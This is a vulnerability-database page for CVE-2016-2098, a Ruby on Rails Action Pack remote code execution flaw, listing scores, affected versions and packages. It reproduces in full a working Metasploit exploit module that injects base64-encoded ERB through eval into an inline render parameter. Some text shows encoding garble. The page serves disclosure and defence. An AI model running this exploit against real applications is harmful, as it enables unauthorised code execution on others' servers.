CVE-2016-2098

high
Published 2016-02-29 ยท Modified 2024-02-20
CVSS v3
7.3
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
8.3

Description

Action Pack in Ruby on Rails before 3.2.22.2, 4.x before 4.1.14.2, and 4.2.x before 4.2.5.2 allows remote attackers to execute arbitrary Ruby code by leveraging an application's unrestricted use of the render method.

Predictions

Exploit likelihood
100%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-40086 remote ruby verified ruby ยท 2 KB
Metasploit ยท 2016-07-11

Ruby on Rails ActionPack Inline ERB - Code Execution (Metasploit)

ruby exploit Source: Exploit-DB
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ruby on Rails ActionPack Inline ERB Code Execution',
      'Description'    => %q{
          This module exploits a remote code execution vulnerability in the
        inline request processor of the Ruby on Rails ActionPack component.
        This vulnerability allows an attacker to process ERB to the inline
        JSON processor, which is then rendered, permitting full RCE within
        the runtime, without logging an error condition.
      },
      'Author'         =>
        [
          'RageLtMan <rageltman[at]sempervictus>'
        ],
      'License'        => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2016-2098' ]
        ],
      'Platform'       => 'ruby',
      'Arch'           => ARCH_RUBY,
      'Privileged'     => false,
      'Targets'        =>	[ ['Automatic', {} ] ],
      'DisclosureDate' => 'Mar 1 2016',
      'DefaultOptions' => {
        "PrependFork" => true
      },
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
        OptString.new('TARGETPARAM', [ true, 'The target parameter to inject with inline code', 'id'])
      ], self.class)

  end

  def json_request
    code = Rex::Text.encode_base64(payload.encoded)
    return {
      datastore['TARGETPARAM'] => {"inline" => "<%= eval(%[#{code}].unpack(%[m0])[0]) %>"}
    }.to_json
  end

  def exploit
    print_status("Sending inline code to parameter: #{datastore['TARGETPARAM']}")
    send_request_cgi({
      'uri'     => normalize_uri(target_uri.path),
      'method'  => 'GET',
      'ctype'   => 'application/json',
      'headers' => {
        'Accept' => 'application/json'
      },
      'data'    => json_request
    }, 25)
  end
end

Metasploit modules

Ruby on Rails ActionPack Inline ERB Code Execution
Source fetch failed: fetch_error โ€” view the original via the link above.

OS impact

debian Debian Mixed 6 releases
VersionStatusFixed in
trixie Fixed 2:4.2.5.2-1
sid Fixed 2:4.2.5.2-1
forky Fixed 2:4.2.5.2-1
bullseye Fixed 2:4.2.5.2-1
bookworm Fixed 2:4.2.5.2-1
8.0 Affected โ€”

Package impact

EcosystemPackageVulnerableFixed
ruby RubyGemsactionpack!>= 5.0.0.beta1||<~> 3.2.22.2~> 3.2.22.2
ruby RubyGemsactionpack>=3.0.0,<3.2.22.23.2.22.2
ruby RubyGemsactionpack>=4.0.0,<4.1.14.24.1.14.2
ruby RubyGemsactionpack>=4.2.0,<4.2.5.24.2.5.2

Application impact

VendorProductVersionsFixed
rubyonrailsrails4.0.0
rubyonrailsrails4.0.1
rubyonrailsrails4.0.2
rubyonrailsrails4.0.3
rubyonrailsrails4.0.4
rubyonrailsrails4.0.5
rubyonrailsrails4.0.6
rubyonrailsrails4.0.7
rubyonrailsrails4.0.8
rubyonrailsrails4.0.9
rubyonrailsrails4.0.10
rubyonrailsrails4.1.0
rubyonrailsrails4.1.1
rubyonrailsrails4.1.2
rubyonrailsrails4.1.3
rubyonrailsrails4.1.4
rubyonrailsrails4.1.5
rubyonrailsrails4.1.6
rubyonrailsrails4.1.7
rubyonrailsrails4.1.7.1
rubyonrailsrails4.1.8
rubyonrailsrails4.1.9
rubyonrailsrails4.1.10
rubyonrailsrails4.1.12
rubyonrailsrails4.1.13
rubyonrailsrails4.1.14
rubyonrailsrails4.2.0
rubyonrailsrails4.2.1
rubyonrailsrails4.2.2
rubyonrailsrails4.2.3
rubyonrailsrails4.2.4
rubyonrailsrails4.2.5
rubyonrailsrails4.2.5.1
rubyonrailsruby_on_rails{"endIncluding":"3.2.22.1"}
rubyonrailsruby_on_rails4.1.14.1

References

CWEs

CWE-20

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.